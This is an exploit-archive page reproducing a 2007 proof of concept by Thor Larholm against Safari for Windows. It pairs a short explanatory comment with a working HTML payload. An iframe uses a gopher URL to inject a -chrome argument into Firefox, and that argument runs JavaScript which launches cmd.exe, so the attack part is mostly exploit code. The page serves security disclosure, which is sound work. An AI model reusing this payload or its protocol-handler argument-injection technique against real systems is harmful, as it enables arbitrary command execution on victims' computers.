Lucene search
K

safari-windows.txt

🗓️ 13 Jun 2007 00:00:00Reported by Thor LarholmType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Safari for Windows 0day exploit via Gopher protocol through Firefo

Code
`<!--  
Safari for Windows, 0day exploit in 2 hours  
http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/  
By Thor Larholm  
  
The below PoC exploit will exploit Safari by bouncing through Firefox   
via the Gopher protocol, passing on unfiltered input for the -chrome   
argument that Firefox exposes. When it has done this it will launch   
C:\Windows\System32\cmd.exe with any arguments that have been specified   
in the call to the process.run method.   
  
It is important to know that, even though this PoC exploit uses Firefox,   
the actual vulnerability is within the lack of input validation for the   
command line arguments handed to the various URL protocol handlers on   
your machine. As such, there are a lot of different attack vectors for   
this vulnerability, I simply chose Firefox and the Gopher URL protocol   
because I was familiar with these.   
  
I hope you enjoyed the fruits of my 2 hours of labour. Please feel free   
to add my RSS feed to your reader and come back again tomorrow or next   
week for a fresh batch of 0day vulnerabilities :)   
  
Cheers Thor Larholm   
-->  
  
<html><body>  
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,{},0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)  
</body></html>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jun 2007 00:00Current
7.4High risk
Vulners AI Score7.4
24